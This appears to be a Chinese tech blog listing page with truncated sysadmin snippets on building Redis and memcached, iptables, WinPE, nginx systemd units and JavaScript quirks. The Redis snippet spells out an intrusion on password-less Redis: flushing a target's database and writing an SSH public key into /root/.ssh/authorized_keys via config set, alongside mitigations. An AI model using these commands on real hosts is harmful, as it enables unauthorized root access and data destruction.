gcc编译
使用gcc编译器的一些笔记
使用gcc编译器的一些笔记
安装redis 所有redis版本的release见http://download.redis.io/releases/ apk update && apk upgrade && apk add make gcc g++ linux-headers cd /tmp REDIS_VERSION=redis-4.0.2 wget http://download.redis.io/releases/${REDIS_VERSION}.tar.gz tar xzf ${REDIS_VERSION}.tar.gz cd ${REDIS_VERSION} LDFLAGS=-static make -j2 && make install mv /tmp/${REDIS_VERSION}/redis.conf /etc/redis.conf 编译1分钟即可完成 无其他依赖 4.0版本后 直接可静态编译的,执行完成后可执行文件位于src目录 redis-check-aof redis-check-rdb redis-sentinel redis-server 这四个都是同一个文件,是redis-server的别名 配置 一个简单的redis配置文件 /etc/redis.conf daemonize yes pidfile /var/run/redis-server.pid port 6379 bind 127.0.0.1 timeout 300 save 60 10000 使用Unix Socket 的方式运行性能会更好 UNIX Domain Socket是在socket架构上发展起来的用于同一台主机的进程间通讯(IPC),它不需要经过网络协议栈,不需要打包拆包、计算校验和、维护序号和应答等,只是将应用层数据从一个进程拷贝到另一个进程,当用户连接到Redis通过TCP/IP连接或Unix域连接,千兆网络的典型延迟大概200us,而Unix Domain Socket可能低到30us。 https://pics.mf8.biz/mf8/e0ajg.png unixsocket /var/run/redis/redis.sock unixsocketperm 700 注释掉 bind 127.
无密码具有高权限的redis易被入侵 入侵的主要思路就是修改Linux配置文件. 通过修改sshdauthorized_keys文件免密码登陆 首先生成一对公钥和私钥 ssh-keygen -t rsa -C "redis" -t指定类型,-C为添加注释.回车,输入要存放的地址和两次密码(可为空)后就生成了. 我们需要把公钥上传到目标主机的authorized_keys文件中,然后使用对应的私钥和公钥登陆. redis客户端能够直接修改数据库的位置和名称,达到修改文件的目的 清空数据库 redis-cli -h 192.168.15.10 flushall 写入authorized_keys最好前行后后行都是空行. (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/id_rsa.txt 向redis写自己的公钥 cat /tmp/id_rsa.txt |redis-cli -h 192.168.15.10 -x set redis 登入redis,修改数据库文件地址 config set dir /root/.ssh/ config set dbfilename "authorized_keys" save exit /etc/crontab /etc/cron.d/ /var/spool/cron/crontabs/ 用户配置文件存储目录。 /var/spool/cron/root 使用密码 redis-server --protected-mode no --daemonize yes --requirepass QAZwsx123edcvfr654JKL 或者修改CONFIG命令 redis-server --rename-command CONFIG "MYCONF" http://wangxin123.com/2016/09/16/Redis%E5%AE%89%E8%A3%85/ http://ruby-china.org/topics/28094
Linux 系统安装方面的一些建议
使用Linuxkvm模块的相关笔记
iptables相关配置 配置iptables之前,建议添加一个crontab定时重置iptables,防止将自己阻挡. 建议写入/usr/iptab.sh,加入crontab,每个整点执行 iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -F iptables -X iptables -Z 查看本机关于IPTABLES的设置情况 iptables -L -n 清除原有规则. 不管你在安装linux时是否启动了防火墙,如果你想配置属于自己的防火墙,那就清除现在filter的所有规则. 清除预设表filter中的所有规则链的规则 iptables -F 清除预设表filter中使用者自定链中的规则 iptables -X 保存配置 刚刚配置的重启以后就会丢失,想要保存使用 iptables save 有的可能是iptables-save 这样就写到/etc/sysconfig/iptables 文件里了. 写入后记得把防火墙重起一下,才能起作用. service iptables restart 设定预设规则 默认的入口,出口,转发策略都是ACCEPT 下面要改变这种规则 iptables 采用黑名单加白名单的方式, 未命中白名单的将采用预设规则 下面操作注意,为避免ssh端口22被拦截,首先添加 iptables -A INPUT -p tcp --dport 22 -j ACCEPT 保证22端口入口畅通,注意如果你的OUTPUT模式设置为DROP(上面已经清空了,默认为ACCEPT),还需要添加 iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT 保证出口22端口畅通 下面开始折腾吧
较好的PE 微PE http://www.wepe.com.cn/ 自带刻录,可以一键安装到U盘,硬盘等,支持UEFI,CMS等多种启动方式. 一般的BIOS里找不到UEFI/CMS的切换设置,可能是security boot的配置,禁用security boot试试 如果在BIOS里找不到U盘,可能是fastboot的问题,可以禁用fastboot,安装好系统后在开启. 硬盘的设置模式里,找不到U盘或者硬盘,可以尝试切换AHCI/IDE,注意安装好系统后,此选项不能够再随意切换,否知导致系统进不去. 休眠能将现有所有工作保存到硬盘,下次开机恢复上次的会话,Windows8及以后采用了混合休眠机制 你可能找不到单纯的休眠按钮. 可以使用shutdown -h休眠 其他一些补充 关机计算机:shutdown.exe -s -t 00 重启计算机:shutdown.exe -r -t 00 注销计算机:shutdown.exe -l -t 00 锁定计算机:rundll32.exe user32.dll,LockWorkStation 休眠计算机:rundll32.exe powrProf.dll,SetSuspendState 睡眠计算机:rundll32.exe powrprof.dll,SetSuspendState 0,1,0, 性能天梯图 CPU性能列表 https://www.cpubenchmark.net/cpu_list.php 在新标签查看大图 CPU天梯图 CPU天梯图其他版本 显卡天梯图
使用systemd管理nginx /usr/lib/systemd/system/nginx.service [Unit] Description=The nginx HTTP and reverse proxy server After=network.target remote-fs.target nss-lookup.target [Service] Type=forking PIDFile=/run/nginx.pid # Nginx will fail to start if /run/nginx.pid already exists but has the wrong # SELinux context. This might happen when running `nginx -t` from the cmdline. # https://bugzilla.redhat.com/show_bug.cgi?id=1268621 ExecStartPre=/usr/bin/rm -f /run/nginx.pid ExecStartPre=/usr/sbin/nginx -t ExecStart=/usr/sbin/nginx ExecReload=/bin/kill -s HUP $MAINPID KillSignal=SIGQUIT TimeoutStopSec=5 KillMode=process PrivateTmp=true [Install] WantedBy=multi-user.target nginx proxy_request_buffering 上传大文件时需注意 https://stackoverflow.com/questions/12282342/nginx-files-upload-streaming-with-proxy-pass accept_mutex and reuseport https://www.nginx.com/blog/socket-sharding-nginx-release-1-9-1/ fast-open –reuse-port –no-delay no-push
安装memcached http://memcached.org/downloads memcached所有版本见http://www.memcached.org/files/ cd /tmp MEMCACHE_VERSION=memcached-1.5.1 CPU_NUM=`cat /proc/cpuinfo | grep processor | wc -l` wget http://www.memcached.org/files/${MEMCACHE_VERSION}.tar.gz tar xzf ${MEMCACHE_VERSION}.tar.gz cd ${MEMCACHE_VERSION} export CFLAGS="-O3" ./configure make -j$CPU_NUM && make install docker版本见:https://hub.docker.com/r/suconghou/memcached/ 静态编译 apk update && apk upgrade && apk add gcc g++ make wget wget --no-check-certificate https://github.com/libevent/libevent/releases/download/release-2.1.8-stable/libevent-2.1.8-stable.tar.gz tar zxf libevent-2.1.8-stable.tar.gz cd libevent-2.1.8-stable ./configure && make && make install libevent编译很快,不到一分钟 cd /tmp MEMCACHE_VERSION=memcached-1.5.1 wget http://www.memcached.org/files/${MEMCACHE_VERSION}.tar.gz tar xzf ${MEMCACHE_VERSION}.tar.gz cd ${MEMCACHE_VERSION} export CFLAGS="-O3" .
实用的Javascript代码锦集 Date.parse("2016-04-4") Date.parse safari 不能使用单位数字的月份和日期,否则解析为NaN 火狐较低版本(火狐43)也是如此 +new Date('2017-06-08 21:00:00'); 在IE11上得出NaN Safari10 上也得出NaN Chrome 和 Firfox下OK 原因在于 IE 和 Safari 都不识别以-分割的日期 需要写成 +new Date('2017/06/08 21:00:00'); , 这样才能在所有浏览器兼容. IE10 has not anchorNode focusNode 属性, 取得选中的文字需要读取 text 属性, IE11 一切正常 , 取得选中文字可以直接 toString IE10,IE11 不支持 html5 的 download 属性, 无法点击下载自定义名称的html和图片等文件. 可以使用 下载的 downloadFile,利用ajax下载,顺便说 ajax 下载也不能使用fetch IE系统统不支持fetch,到EDGE14才支持fetch, https://github.com/github/fetch 可支持IE10+ 火狐不支持和chrome的scrollTop表现也不相同 // 兼容处理 chrome 和 firefox let scrollTop=document.body.scrollTop?document.body.scrollTop:document.documentElement.scrollTop; if(scrollTop<20){ this.headerShowStatus=true; }else if(scrollTop>170){ this.headerShowStatus=false; } if(document.documentElement.scrollHeight-scrollTop- document.